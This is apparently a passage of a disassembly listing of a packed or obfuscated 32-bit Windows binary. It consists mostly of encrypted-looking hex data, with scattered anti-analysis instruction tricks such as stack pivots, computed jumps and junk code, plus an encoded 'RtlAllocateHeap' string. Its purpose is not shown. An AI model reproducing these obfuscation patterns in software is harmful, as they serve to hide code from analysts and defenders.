0CB57B618h, 0DBA63540h dd 2E9EBEAAh, 36D1E735h, 0CE156688h, 0AAAD06EEh, 533A8439h dd 0F324AE20h, 99EDAEB9h dd 3210E54Bh, 0CA756622h, 6374B09Ah, 0F3948701h, 32156640h dd 111A7A1h, 3E24421Dh, 161955ACh, 32048F18h, 10196622h dd 45738A78h, 358CFC02h, 0EF0FC937h, 0B99F7FFBh, 0BB40420Dh dd 36D0E76Dh, 0B3156644h, 321562E7h, 1639E111h, 6EA9FD4h dd 0F6963F60h, 25926926h, 0DB156611h, 3215669Ah, 78923A24h dd 986E3931h, 0CB6A5BBh, 93C959Bh, 69EDB20h, 0D49C3006h dd 3211A090h, 0F4946688h, 32156640h, 6E3152A5h, 321561F8h dd 71454688h, 0E89D92D4h, 329B6942h, 84156611h, 0BB420753h dd 36D2E7A3h, 0B1156622h, 0E9262D6h, 1631EDACh, 32156FADh dd 1A154022h, 888CD1A2h, 65FC9E51h, 3DEA9993h, 32156AA3h dd 32128F11h, 0FA9D6688h, 2C4439CDh, 7190A124h, 30134991h dd 0C7156688h, 3222D22Ch, 1611EF22h, 0F19C9698h, 841A93D0h dd 3396694Ah, 0CA156622h, 3D959F91h, 3215380Bh, 0B41A0644h dd 32156624h, 3215EF1Eh, 0B81A6688h, 32156642h, 0A9E48DA3h dd 0B3742081h, 0C300FE4Bh, 0A4D6E764h, 331BB27Dh, 0A4FEE7DAh dd 0B31BB2D7h, 0C300FEAFh, 3DFC0602h, 1A156611h, 7F7F7A75h dd 9E2F76B6h, 0EC587884h, 8B73BF06h, 6274FCEDh, 0CDEA99FCh dd 6AD64FDDh, 32648FEDh, 62EC6688h, 0DE952AF0h, 0B2C1901Bh dd 617372DDh, 0CE25773Fh, 0DE953D22h, 6AF44ECCh, 0CDD4E5EDh dd 3BFCB77Fh, 2E156644h, 0A2366D91h, 0C8BAB505h, 323B94E0h dd 1611EF44h, 3215999Ah, 6AD44711h, 32157561h, 21F5C44h dd 0BD1BE41Ch, 0D5E91C6Ah, 3460C78Fh, 895A3B0Fh, 5F34A5A3h dd 0D9943B13h, 2EA43BC8h, 0F194AD6Dh, 2EA43B62h, 5F348D90h dd 0B9E93B8Ah, 1A1177C1h, 32018F24h, 0BEA66611h, 0F5FE489Dh dd 0C4D08EFCh, 89222AE4h, 891F213Ah, 0A79E01F4h, 343D66FDh dd 3219E32Dh, 0B81A6611h, 3215668Eh, 3215E54Bh, 0DBEC6622h dd 0CDEA9D5Ch, 0DC9400E8h, 53E99232h, 3210E82Dh, 0B2756611h dd 0F574CB78h, 1D9525C1h, 32156424h, 35946911h, 52156688h dd 0F2953815h, 0DE9607A1h, 1621EF15h, 0B97306D3h, 32138F97h dd 3A446622h, 2855B6EFh, 3CA369E9h, 3214EE4Bh, 0B2E96622h dd 0B11AE6E8h, 321566DDh, 6AAC37B1h, 3350F137h, 0F9143FDAh dd 274D8D09h, 0C77523D3h, 321569CBh, 4A811B11h, 0AE7274DCh dd 45CE01A3h, 24D6494Bh, 0CDAB3070h, 1BEA9977h, 0B41A38B7h dd 32156625h, 3214E41Eh, 0DBE06688h, 321566F2h, 32156ACBh dd 0C92D11h, 81C5A19Bh, 0E90B2A3Bh, 8546009Eh, 5BD4E6EEh dd 0DB959FA0h, 524E002Dh, 68DDE744h, 32048E51h, 0FB1C6688h dd 3014DEA2h, 94074B3Bh, 0EE020D85h, 3D437656h, 321566CDh dd 63743C22h, 0B9317AE6h, 0F6944284h, 32156640h, 321CE72Dh dd 0B2756611h, 8973625Ch, 6574AC82h, 25BFDF73h, 0DB945B05h dd 724E24E1h, 35E08FC5h, 0DB942A41h, 61E1D76Eh, 0F34CA901h dd 0DDD463A3h, 0B3CA9121h, 100BBBFEh, 0EAFAE7C9h, 0B3173047h dd 31787ECDh, 6DEC47BAh, 309469E8h, 0B9156644h, 53ABD6D0h dd 5F5BDE41h, 0F13C3657h, 0B3DE4F1Ch, 0ED7828E1h, 0B79E9A41h dd 343D6299h, 32156BADh, 8C207E22h, 5E431B0Dh, 1AA47C53h dd 0A79EAA8Eh, 343D669Bh, 9AA0071h, 32068EE9h, 5AB36644h dd 0D51C2462h, 135E0C9Bh, 0C7BDF6CFh, 0B25767BCh, 0DB940025h dd 534ED2CFh, 30D0DB0Bh, 3D14606Ch, 0CDE219A6h, 0B37306EEh dd 3DB5EF53h, 0CA74BEFBh, 0B01ABE19h, 32156603h, 3DC65F7Dh dd 0CDF8B4C2h, 5DA606DDh, 0E7D2E777h, 8D420729h, 409A7719h dd 0B3C2916Dh, 99083ED6h, 36E2E7ADh, 335985B0h, 3DFC39DCh dd 0B9156611h, 0C4D1CE01h, 0DA533D63h, 0F7EB9191h, 0DE94019Dh dd 3215668Ch, 6B3152CDh, 0FCD4E7DEh, 0B30E2C62h, 0D8492061h dd 0B3EC4F77h, 0D84920E3h, 0FCFCE722h, 520E2CFBh, 53D4EDB8h dd 3210D874h, 0C33C6611h, 0B1315203h, 3CFC6280h, 41156622h dd 0FA1D8DE8h, 8CE36B81h, 36BE1A1Bh, 1CA03724h, 0B2138BD1h dd 0DF95BE7Dh, 0B2C890D9h, 0DA9D4AD7h, 0B1316A9Ah, 98E0624Ch dd 321563ADh, 5F0E9D22h, 5A4513F4h, 32152F5Eh, 6A316ACDh dd 5443067Bh, 6AE185A9h, 0D7B70232h, 0DBBE0762h, 32156629h dd 27490875h, 5836E3F6h, 0DB0065EEh, 0CDEAB5A0h, 3205EA1Eh dd 0DA756688h, 32156642h, 852EB430h, 524C25A0h, 884707E9h dd 4567756Ch, 213D8CA3h, 0C0141163h, 0DB4F6402h, 32156643h dd 75FEC8F6h, 0E90B55Bh, 3916960h, 52156644h, 6C44B5A8h dd 33906970h, 0C7156688h, 2A1AD913h, 0C5944027h, 14107E1Eh dd 0E9E9E01h, 36D1E760h, 0CA156622h, 3214F6F8h, 339D6988h dd 0CB156644h, 3241F04Ah, 1609EF11h, 319D69E8h, 3D156644h dd 54429F95h, 686A4EA8h, 884730E9h, 5F857F3Eh, 36313223h dd 0D9943D4Bh, 5F857FF2h, 33AC37BCh, 33156622h, 0B90C65E0h dd 0F6964284h, 2D9E6940h, 52156622h, 32156BF9h, 3D586F88h dd 5C5CA6D7h, 5D43D80Dh, 0DB4C8DDEh, 3215668Dh, 99BE87EEh dd 644707C7h, 6D49B2AFh, 6EC4DCB2h, 0C0245C1Bh, 68C6677Ch dd 321572F8h, 97B4F188h, 0E124C0EDh, 85B21D98h, 8CD2A7ECh dd 45FAB136h, 0F299D609h, 0CD3961CAh, 0FAEB8EC1h, 52EC7EA4h dd 0A84ADE22h, 32156BCBh, 0C6CD6111h, 0BB7DD378h, 0D2FD4B7Bh dd 987413A2h, 0E2FEE7E4h, 1B6620DEh, 0E2AC37BFh, 33662074h dd 3EFC3FDAh, 0C4156688h, 1A6EF334h, 9650AE46h, 6229FA7Fh dd 32156230h, 0B9D64F44h, 0F6964226h, 32058F15h, 0D3A06688h dd 0F03A8478h, 301DB31Eh, 292940Bh, 0EA24F67Dh, 0EA24A575h dd 321572CBh, 61D3B111h, 7F5F67B8h, 0A0258816h, 0CD470298h dd 487E1FB3h, 0B71ACDC4h, 32156645h, 1609EDD7h, 0B3F7EF43h dd 3215624Ah, 36D7E544h, 6E3172A5h, 0CA9E0071h, 0DB4C36E8h dd 3215664Ch, 443FDA0Ah, 73AA897Eh, 22FC07E9h, 0EA156644h dd 0D2F1B8AAh, 0B81CE9FDh, 0AE227174h, 6520EB93h, 3215639Dh dd 78FBE711h, 330DC6C5h, 78D3E7BAh, 6D0DC66Fh, 36F9E5EDh dd 8F314A01h, 48B6432h, 53E8ED9Ah, 6FFD67D8h, 35FCA571h dd 0D156644h, 7230EEEh, 0BB43119Dh, 36D3E76Eh, 0B3156644h dd 321562CCh, 1621E111h, 1619EFD4h, 321563ADh, 0C63FD22h dd 0CD739299h, 544300BEh, 54434CFAh, 30311223h, 6A733877h dd 643F4BEEh, 321E8F24h, 0C1A76622h, 8935852Fh, 5DD9329Ah dd 321A8E21h, 983A6622h, 0CA3E4C7h, 24AB8940h, 0C41EDE44h dd 321B8FDEh, 0DF416611h, 4A2E0BA1h, 7B9C2CE1h, 0B746CB7h dd 0F1290749h, 3308E287h, 54756644h, 0B3739FA9h, 538F76C9h dd 0B61AADB4h, 3215674Fh, 0C09E0042h, 3C9D6970h, 52156688h dd 3215EE4Bh, 0FC946622h, 4BAFC497h, 3DD75AE9h, 32146EC0h dd 33956922h, 0CE156611h, 0B61AACB4h, 321566BDh, 0CD2800DAh dd 9916934h, 52156689h, 3D2CD324h, 321566A6h, 0B9730711h dd 3D75077Bh, 54749DF3h, 3DEA481Fh, 32152994h, 32138F88h dd 7F5C6644h, 62EBFEDh, 5510DF40h, 0E3E24E1Fh, 0B3CC9105h dd 0A57265CBh, 0B8E46739h, 61E03F89h, 0F195B0F7h, 73A03718h dd 0C795A3EFh, 0B2D09849h, 0DF955481h, 6BFE4E2Dh, 0F9EBADEFh dd 129CA508h, 0EE93D9Ch, 3A916982h, 0CB156610h, 63316A03h dd 0F39487CDh, 32156626h, 3211A790h, 3E926688h, 38FC3A60h dd 0CC156622h, 0E624C77Ah, 4921D5BFh, 9750E2Dh, 269C6622h dd 5AEEDC35h, 0C9AD22F7h dd 351192Ch, 0BD1A3CF2h, 3215661Ah, 0DAF3E7E8h, 0B24C3357h dd 0DB74B8F6h, 32156776h, 32156861h, 0FC2AB244h, 0CBDEF58Ah dd 0CAD0C4C2h, 34E6179h, 8946938Dh, 32156623h, 0CB4EBF10h dd 3215CD61h, 349F6944h, 52156622h, 53759C9Bh, 797D34E9h dd 684FA81Dh, 0C5128CE3h, 81D7E7CBh, 620C82A4h, 0B408F4FCh dd 60656315h, 0F014C95Ah, 68C4EFD0h, 320BE14Bh, 0BE1A6622h dd 32156609h, 32157561h, 30BE444h, 0B5EA3B99h, 0C1C1BBA6h dd 0F0CA2090h, 0DEDF2E48h, 321535CBh, 347D9E11h, 0B9156688h dd 0F6944248h, 32156626h, 0F9E5E771h, 54238C8Eh, 0BCF597C5h dd 3FC9F43h, 0DB156611h, 3215669Bh, 0FACFD433h, 0A69B5D49h dd 0DA814B22h, 0A1DDB489h, 62D70CAFh, 3215619Ah, 0B9D4EF11h dd 0F694428Ch, 32156640h, 0A4AB0042h, 53D4ED56h, 21FCC27Bh dd 0C8156644h, 1DEEC262h, 9C6485D4h, 0FC9D0EF6h, 3DAEFDE7h dd 0BF9E3C13h, 343D66A8h, 0F39400E8h, 8B73A7F9h, 0B774585Dh dd 2F9069D8h, 3D156688h, 321576C2h, 321E8F22h, 0CC986611h dd 5AC980Bh, 0D0B8513Ah, 8BA0EFD4h, 0CA134E11h, 63316A03h dd 0F39487CDh, 32156626h, 3211A790h, 3E926688h, 0BE1A3A60h dd 3215662Ah, 32966971h, 53156688h, 58E7DC16h, 0C1AD3E84h dd 1B4DC07Bh, 1601ED58h, 3211A2C5h, 3D756622h, 32156496h dd 65740688h, 0F1ED071Eh, 321561CBh, 0FD5E111h, 0DFA5AB71h dd 54239922h, 8FAE0071h, 6E240011h, 697364ACh, 7733E22h dd 0EEC669Fh, 0CF9169D2h, 3D156689h, 321567CEh, 34FC9322h dd 0AD156611h, 6210E296h, 476C0E7Ah, 3E9C6622h, 0BAD0EE35h dd 34FC3F63h, 0C5156644h, 0F549C6EEh, 87A437C2h, 62B58708h dd 210EF4h, 0F24DA70Ah, 0F3EB65F0h, 0B2258F08h, 0F93597B5h dd 2694697Bh, 0DB156611h, 32156687h, 0DC55827Ah, 0AF405494h dd 8EFAB050h, 0CEEA35ABh, 3D659DC4h, 32169CA6h, 32078F11h dd 121B6688h, 0D7C05578h, 8FB4594Fh, 4C71C0F3h, 190FB3CEh dd 0B61A8F78h, 32156756h, 3DFE5AE8h, 32140D0Ch, 86AE0644h dd 0DB3C5E1Ch, 32156602h, 0B92099D3h, 76B87FC6h, 0E5D61809h dd 62D530Bh, 531FB2A6h, 321561ADh, 0E0CCE222h, 86F245E1h dd 0B61AA4B4h, 3215677Ch, 0E1A26942h, 0AF438E90h, 0E745E14h dd 1791698Fh, 0DB156623h, 3215661Ch, 0A9C89AD0h, 11510329h dd 4D4165F9h, 0CD280076h, 3B9169ADh, 3D156645h, 32157FA2h dd 32018F11h, 0FD6688h, 5B061A23h, 5B7EC091h, 42617F8Ah dd 0C6807D8Bh, 0F829A13Bh, 32F7E22Dh, 3FFC6611h, 7A156688h dd 0B66D82F2h, 4582C38Dh, 7CE8F494h, 32157661h, 66661844h dd 171E3B4Dh, 0F6844CD8h, 0A3FF0D41h, 3DF65A40h, 32167CA6h dd 39FD0611h, 8B156688h, 3A44A71Bh, 2855B6DCh, 8D1A59B9h dd 3FFD3E52h, 57156644h, 6E8B613h, 6595944Ch, 0D03F968Bh dd 6BEED94Bh, 1C280043h, 779069EEh, 52156688h, 53DBD14Bh dd 3217DD71h, 0C1146611h, 3215DFD9h, 0EB146644h, 694C67A8h dd 0D2A635E4h, 0CC478508h, 0B2F6B68Fh, 8047B3C9h, 68C65648h dd 524EBEA8h, 3DDFED22h, 321567A4h, 0E749311h, 0B916928h dd 0CA156644h, 65AB3073h, 0BB5CA524h, 0D3C43879h, 58BB8FC5h dd 0FA9CF5A4h, 32078F48h, 6D336688h, 202B2650h, 816ED07Bh dd 9613A2A9h, 17727B9h, 321507ADh, 33996922h, 0CB156611h dd 32ACD301h, 0B61A606Ch, 3215662Eh, 321561F8h, 9B607488h dd 78729612h, 0A75FFBAFh, 0BE1A603Fh, 32156689h, 52C699BCh dd 0B375ADA9h, 0BCA554D7h, 0CA7407A1h, 3233062Ch, 1619EF22h dd 321567A8h, 6BDDEF88h, 32198F24h, 0F69E6622h, 8284983Ah dd 1F575A49h, 0B973FA89h, 0DBD607ECh, 32156600h, 0F84227A4h dd 5BB602D5h, 0BADC801h, 76042AF9h, 5CDA0E97h, 369C6644h dd 339E6906h, 0CE156611h, 3205DCDAh, 0F0946644h, 344059DFh dd 0D8949410h, 34405975h, 0DB4F64CFh, 32156636h, 7A9A23E4h dd 695A1B7Fh, 0D58FA6EAh, 0C3C18DE7h, 93DEBDBAh, 1F48E301h dd 3D75606Ch, 321560ADh, 5DF5E711h, 5252168Eh, 534F30B1h dd 369E9F43h, 0D79C3335h, 3211A309h, 0F7946644h, 32156626h dd 6E314A96h, 89463374h, 32156658h, 334EBBABh, 0B3753BFFh dd 84060A56h, 0C19E0002h, 0D7A8EB43h, 52134E39h, 8D730674h dd 0D79F9EF2h, 0CEB80743h, 772BD847h, 0F4942E86h, 0E80465E5h dd 314B960Bh, 37314255h, 100A2E57h, 321FEA4Bh, 3D756622h dd 0B373A0AEh, 53CC3A57h, 0B37306EFh, 3DA7A8F2h, 3215669Bh dd 22FC0788h, 0DF156644h, 1CE91524h, 407FBFDh, 5E248FF7h dd 0BFC177B8h, 1A14539Fh, 2B986917h, 52156688h, 0DBD4ED22h dd 3215662Dh, 6155B985h, 10FD3982h, 4634E029h, 5398CE7Ah dd 0DB75CBE9h, 3215669Bh, 805D8282h, 0F615D497h, 0B7347F1Fh dd 0BFF23494h, 0CE7B3101h, 6E116343h, 761666D9h, 8C4342ACh dd 71E31F2Ah, 0B3C39164h, 3E153BF7h, 0DDF3E788h, 0F3051B63h dd 0F49463CCh, 32DD7A15h, 3D4B96A1h, 321572C9h, 321A8F22h dd 5B656611h, 82182AAh, 4590EC3Ch, 49FA4DC1h, 4C260E8Bh dd 369C6688h, 0C0950660h, 0CEBE07EDh, 321563F8h, 447B3888h dd 8F9833CFh, 343D61ABh, 321568F8h, 0F5D8A088h, 50B621FEh dd 12D374AFh, 9F9C9A55h, 32156361h, 2387F744h, 9D10C430h dd 3130296Eh, 633D42CCh, 7D6AC9FDh, 6BDD4F07h, 0BC1ACDE8h dd 32156689h, 1621EDB1h, 0B3F3EF74h, 321562D7h, 36D3E788h dd 0B5156644h, 0DB494216h, 32156614h, 0DBCD24E1h, 3EFCA510h dd 0CF156622h, 0C382B990h, 0CDAB700Ch, 5AC7293Ah, 32150BDBh dd 0C7315298h, 0A66BFB05h, 0B71A606Ah, 32156623h, 0CBC699E9h dd 0CDE82561h, 359369BBh, 3D156622h, 3215679Eh, 0CEDFF800h dd 0A86CD24Eh, 458AFD4Ah, 0D5F251A2h, 6ADA83C0h, 0A8ED96A4h dd 458A152Ah, 0DFA02429h, 79261957h, 1E2C5E91h, 798A152Ah dd 162C5E89h, 798A152Ah, 492C5ECAh, 798A152Ah, 382C5E13h dd 798A152Ah, 5C2A5EF2h, 798A152Ah, 6B2A5EFAh, 0AC8A152Ah dd 54A851D6h, 0BA8660D5h, 0CE2559D7h, 43A55EE1h, 0F632DCF1h dd 0BA8C3A66h, 0A8EDD871h, 458A42C3h, 58DDAEA2h, 0C88260D5h dd 7BE38A38h, 0DF07462Ch, 52871D00h, 3C6D5h, 5492B85Eh dd 3075152Ah, 5CDDAEAEh, 0E6D8FA7h, 0D9FB578Dh, 6AC6B7B0h dd 0DD7BAEA4h, 5863E96Fh, 0ABA851A2h, 3075195Fh, 0A732DCAAh dd 168C3A61h, 180ACB2Fh, 96751305h, 0BD54142Bh, 458A152Ah dd 0A8EDDAC3h, 4582D7E3h, 3044BAh, 16EB00h, 4 dup(0) dd 1000000h, 49001h, 6A062F00h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1A042444h, 42000000h, 337C352h, 0D1BC4510h dd 0B2DD806Fh, 0BB525090h, 74EC4B75h, 0C88A310Fh, 0F50585Ah dd 0B8Ch, 6E900h, 8E1C0000h, 29322277h, 50006A90h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h dd 21556E8Fh, 0BF0F006Ah, 6A006ADEh, 3E85000h, 20000000h dd 8958C358h, 81042444h, 18042444h, 40000000h, 0DEFFC350h dd 8D770F51h, 2F52BE85h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1804h, 0C3564600h, 0DFBD2C88h, 820F57B3h dd 4, 0CB77BB66h, 5250905Ah, 9E9h, 1DFD5B00h, 0F5C62168h dd 310F7BD6h, 0B85F5760h, 2038F1DCh, 50585A61h, 820F5760h dd 0E9830000h, 8BA4F305h, 5ABEE4CBh, 28ABB132h, 4D25CB85h dd 706E30F2h, 0DDBEA6C2h, 4D34BEDEh, 365DB132h, 133178B3h dd 58BEA7E8h, 0C8ABB132h, 66511ACEh, 0D535BCDAh, 14782CDBh dd 5E983A6h, 0F1B0A4F3h, 7AF29D11h, 0FB2375FDh, 55849717h dd 3FD525FBh, 0B7ADFDF5h, 22915ACAh, 7ACFB734h, 29B723ACh dd 7A1A20ADh, 277975FDh, 43BF987Ch, 0FFA073D2h, 0E98342A9h dd 8BA4F305h, 47BD8DDBh, 8D062F80h, 3006358Dh, 6644B806h dd 0CF2B3215h, 3102E9C1h, 83C8D007h, 754904C7h, 1880FF6h dd 0F9000000h, 18820Fh, 0E9600000h, 11h, 4C069C78h, 133A71F7h dd 555E790Fh, 9A30E6D1h, 815061B7h, 56822404h, 48B3CF9h dd 4C48124h, 2D000000h, 3CF95682h, 49BD83F8h, 62801h, 0BD830975h dd 62814C5h, 50197400h, 0B8C08B53h, 411h, 2E558589h, 9D8D0628h dd 62AA5C5h, 585BD3FFh, 14C5BD83h, 74000628h, 0B8535017h dd 411h, 2E558589h, 9D8D0628h, 62AA266h, 585BD3FFh, 10E9h dd 71E68000h, 0DB75F47Bh, 3CC4BEADh, 5EEE1F7h, 8952FCE2h dd 2C8152C2h, 0E75B5324h, 5305583Eh, 5A3EE75Bh, 33DE8160h dd 662330EAh, 0D3EAD281h, 66576061h, 5F559CB9h, 8027B866h dd 0EDE9F861h, 60000000h, 0A8D88C66h, 0DF840F04h, 8B000000h dd 2818B1B5h, 0FE8306h, 22850Fh, 85C60000h, 6280D25h, 69696845h dd 0B5FF8E72h, 6282DD5h, 6F58858Dh, 0D0FF062Bh, 2EFD8589h dd 0F08B0628h, 0FE93E80h, 3185h, 0C4858D00h, 0FF062D77h dd 0D1BD8BD0h, 81062805h, 1184C7h, 0B1B58B00h, 87062818h dd 8B9F7h, 0A4F30000h, 18B1B58Bh, 858D0628h, 62C1644h dd 0B58BD0FFh, 628207Dh, 0F00FE83h, 2285h, 2585C600h, 5406280Dh dd 4EBEF468h, 0D5B5FFFFh, 8D06282Dh, 2B6F5885h, 89D0FF06h dd 28207D85h, 80F08B06h, 850FE93Eh, 3Ah, 207DB58Bh, 858D0628h dd 62D77C4h, 0BD8BD0FFh, 62805D1h, 1184C781h, 0C7830000h dd 7DB58B08h, 87062820h, 8B9F7h, 0A4F30000h, 207DB58Bh dd 858D0628h, 62C1644h, 0C361D0FFh, 976858Dh, 85890630h dd 62822F1h, 5E8h, 0BCA5F200h, 0B70F5AB1h, 0C8815AF3h dd 0FD413E8h, 6F59C281h, 0CBB0000h, 811F0B6Bh, 0F4B0A4C3h dd 0F5360E0h, 8Ch, 8B615A00h, 10E83Ah, 9D260000h, 0D41F8E14h dd 142F24B5h, 0BF8BF90h, 0F6055B6h, 8Fh, 9E900h, 0ECF50000h dd 34A9752h, 61169075h, 25EF815Eh, 8B4E409Bh, 0FDC781F3h dd 6655DF75h, 0DF86EE81h, 0E7F7F781h, 0D6814A0Bh, 5F80966Ah dd 0AFBE6657h, 53028F48h, 4EA8358h, 0EB813FB1h, 1, 0FF99850Fh dd 8D0FFFFFh, 6, 23B86652h, 0BE95E32h, 53000000h, 1DA304h dd 0 dd 25E90000h, 68000005h, 6300C74h, 0F874ACE9h, 0CDC68FFh dd 0A2E90630h, 68FFF874h, 6300E46h, 0F87498E9h, 0D5CB9CFFh dd 88865458h, 393B070Bh, 0F0E6B8BCh, 0A4A26F73h, 87762427h dd 3B3FBCBAh, 0F1F5726Ch, 0A3A72426h, 365CD9D3h, 989840A6h dd 0C99C7943h, 0E046A654h, 7F739338h, 10E67A3Ch, 6C204543h dd 0E04D69Ch, 0EF140ADCh, 3424A107h, 0ADAB7861h, 0CE3AA088h dd 921814AAh, 73E8EC2Ch, 96C6887Fh, 0B521EB23h, 7312894Fh dd 55E9AB7Fh, 16CDF45h, 0CC8E755Bh, 61B3A7h, 145A795Bh dd 0C29BDE5Bh, 0F81BC159h, 48000002h, 390C84E5h, 0F87DEA52h dd 47AD514Bh, 74D1B7DBh, 0C3A46BEBh, 82B91F2Fh, 0F4755B66h dd 4066C632h, 6A527771h, 5B7E20F8h, 0FAA6DC79h, 0C7BF5160h dd 501B4D0Fh, 0AD41294Eh, 0A01C577Dh, 5D86430h, 0F95074E0h dd 40C02522h, 0A1E6369Ch, 0D0927CFDh, 0CB353A6Ah, 4ECF54CDh dd 0A544AABAh, 1B76D536h, 52A28F5h, 9F2D891Dh, 0F8ACD1D3h dd 60C62C2Ah, 0ABC89B3Bh, 965CD93Fh, 0BC7E7CEDh, 6CCF050h dd 0B8D020F0h, 904E98C8h, 65A46360h, 312BFBD1h, 0BB5276B4h dd 0FBBC670Dh, 0E0B0861Ah, 9E1F78E6h, 0FCD7B78Ch, 2F945h dd 0A59B6C00h, 58562428h, 90BD7DBh, 0C0B6888Ch, 74723F43h dd 57A6F4F7h, 0B0F8C8Ah, 0C1C5423Ch, 7377F4F6h, 62CA9A3h dd 9FC81076h, 996C7943h, 421F424h, 88143298h, 0B6787523h dd 5957244Ah, 0C28FB5C5h, 764347C4h, 0A25F5378h, 46794398h dd 0C8107676h, 6C794398h, 0AB1113DEh, 1280D745h, 512CBE62h dd 2919Ah, 3D330400h, 0F0EEBCC0h, 0A1A36F73h, 584E2024h dd 0C0AD7DBh, 0EFDE8C8Fh, 0A3A72422h, 595DDAD4h, 0B0F8C8Eh dd 9EC4413Bh, 9F70A80Eh, 31047943h, 421F4BCh, 88143298h dd 9EC47523h, 0C2B0D5CFh, 4398BC5Ch, 90F6B879h, 36D70860h dd 9E323F52h, 0ECE2B442h, 0AB6D6186h, 537943A0h, 0B1658A84h dd 0E6C0E5E3h, 8AFBB56Eh, 6B0E8B44h, 27C1615Eh, 0A8BB61C7h dd 74437943h, 0B56D557Ah, 64735FF3h, 0A0000001h, 7D4A10E0h dd 87AD197Fh, 0E195BABCh, 7EF1416h, 90440DA1h, 2F2DFAC0h dd 3BF2220Ah, 6E5BE70Fh, 0E8D855BBh, 5E84F015h, 0ECFC9092h dd 9E94668Ch, 0E7FD9179h, 755BB4FCh, 0ACD03CFEh, 1189E35Dh dd 0AC7509F9h, 5BE864B8h, 60195F79h, 59A696E3h, 3420C1h dd 0F44D0000h, 32980421h, 755BBEABh, 0F2E60BCDh, 795B862Eh dd 0DA9A5399h, 0C2E7E9B4h, 7946DAh, 0B6C15944h, 0A4h, 9048AE0Eh dd 0A4795BB2h, 0E2E4B0E2h, 10E0134Eh, 703DF116h, 0C9994D72h dd 26F6AACFh, 0C89AC02Ch, 0D91D3ED2h, 7F738E39h, 9A1711E1h dd 42AED7AAh, 0BE524C1Ch, 34DF48AEh, 51DD755Dh, 0D8B3577Dh dd 470D64Ch, 3EDE44A4h, 3A7959A6h, 410EE478h, 2888C643h dd 59A61AC2h, 0C85C1E79h, 0B92725F2h, 0BE782CE8h, 27722904h dd 9A000001h, 5256D3C9h, 5098684h, 0B6BA3739h, 6D71EEE4h dd 2225A2A0h, 0BAB88574h, 706A393Dh, 2224EFF3h, 0D7D1A1A5h dd 3EA4345Ah, 79439D9Eh, 0E052C79Ah, 94981513h, 0E44DCAC4h dd 0F11610E0h, 0F6736D3Dh, 0DC483306h, 0D038F2B5h, 7CE24EB4h dd 755BDEF6h, 1A40AC6Eh, 8ED24F4Dh, 795B7A4Ah, 2DAAA474h dd 0F2585C29h, 795B7A2Ah, 1268C4Eh, 0DC7BEF13h, 37DD33B1h dd 0ACCAA3h, 0F4D10000h, 38980421h, 73930AD2h, 0D86C2E7Fh dd 704268C8h, 0D96D557Ah, 2388E7C3h, 10810D75h, 0F7054069h dd 44F81D83h, 0E3E1AE74h, 470D6BEh, 0F9E3EA4h, 0D89A7943h dd 4F1F2344h, 9ABFB989h, 33274CB2h, 86F6229Ah, 0A127E058h dd 0AD6BD1D1h, 0C75EB022h, 806D305h, 2995FBE3h, 0D7A58505h dd 0B076AB71h, 0DB0BCD5Eh, 0D66AF494h, 0E7E1B1B5h, 403C0EC2h dd 0B00D02DAh, 0B5AA365Eh, 3C78ED86h, 42AE147Ah, 0BD514F1Ch dd 0DB9428F4h, 0E8B8555h, 1B403A0Ah, 3A3C072Dh, 0C0992D15h dd 0Eh, 3200CCF2h, 0D0026862h, 37720600h, 0FE03A87h, 7040F419h dd 0D29D5176h, 28F7ABD0h, 8855092Eh, 0E4B1658Ah, 3B0DC1E6h dd 0A06C2045h, 0F7C5799Eh, 53FFD4F9h, 0C381E389h, 4, 8704EB83h dd 895C241Ch, 8956240Ch, 4C681E6h, 81000000h, 4EEh, 24348700h dd 242C895Ch, 1A2B68h, 243C8900h, 18A9B951h, 0BB537E18h dd 5F67707Ch, 0AB0EB81h, 0F3817869h, 40D148EEh, 4EBBEB81h dd 0F3814187h, 4EB956Ch, 0C15BD909h, 814907E9h, 0CF6980C1h dd 0EC18110h, 89F463E9h, 8B5459CDh, 0C481243Ch, 4, 242C8155h dd 7A345FA5h, 5608478Fh, 345FA5BEh, 877017Ah, 2434FF5Eh dd 4C4815Fh, 8B000000h ; --------------------------------------------------------------------------- sub al, 24h push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_551321 ; --------------------------------------------------------------------------- dw 6CF2h ; --------------------------------------------------------------------------- mov bh, 28h sub ch, 0DDh retn 6492h ; --------------------------------------------------------------------------- mov eax, 6300F92h add eax, ebp jmp eax ; --------------------------------------------------------------------------- db 8Dh, 0BAh, 24h dd 194A8A21h, 3A0F9818h, 0C4888937h, 90BB8F33h, 0B84ACC49h dd 0D745586Bh, 70D19074h, 0DB1AF340h, 0E3A69470h, 42B3C671h dd 0B609C252h, 6B122D73h, 0BFED4D04h, 146B6B50h, 6254CE4Bh dd 31BF5C01h, 0B338F564h, 27DC2444h, 554A6F6Fh, 83CBED09h dd 6842A259h, 0EB508F2Ch, 25E96F1Bh, 0A3486E1Ch, 4AB6752Ah dd 0FA651D30h, 12205043h, 0BB0F2626h, 9C8D8D0Ch, 6A063011h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 19042444h dd 42000000h, 4AC8C352h, 0B1D7605Eh, 7B03BB66h, 8D89F98Ah dd 6280715h, 29DB529h, 85C70628h, 62821BDh, 6414h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 17C35747h, 0C7F78B66h dd 28113D85h, 6, 39B5FF00h, 6A062804h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 0B427C352h dd 0B3EBBBDBh, 9E90223h, 0ED000000h, 459B099h, 277F148Ch dd 14D995FFh, 6A0628h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1C0424h, 57470000h, 0A4ED51C3h, 0EDB39E16h, 6A37DEh dd 46595FFh, 0C08B0628h, 632C6EEBh, 2CAD3158h, 4D64CB70h dd 238199BCh, 0D9838F86h, 4DE79257h, 1523FE2Dh, 0D1D9259Bh dd 0EABFF2E2h, 0A5EC56FDh, 69EBA836h, 0CE72B1Bh, 4653BCFFh dd 0B9B82E10h, 0DE2B6499h, 1F3710A5h, 50F0A907h, 0C7B2933h dd 5A4CFBB3h, 622DE9B3h, 0D12F8727h, 12AE5DF8h, 36434EE9h dd 0D472DE6Eh, 568C5E3Eh, 0AA52F1BDh, 2F4121Bh, 74D2D5CEh dd 1CE9h, 50020C00h, 6C745248h, 6F6C6C41h, 65746163h, 70616548h dd 14000000h, 0 dd 11BDE900h, 0A680000h, 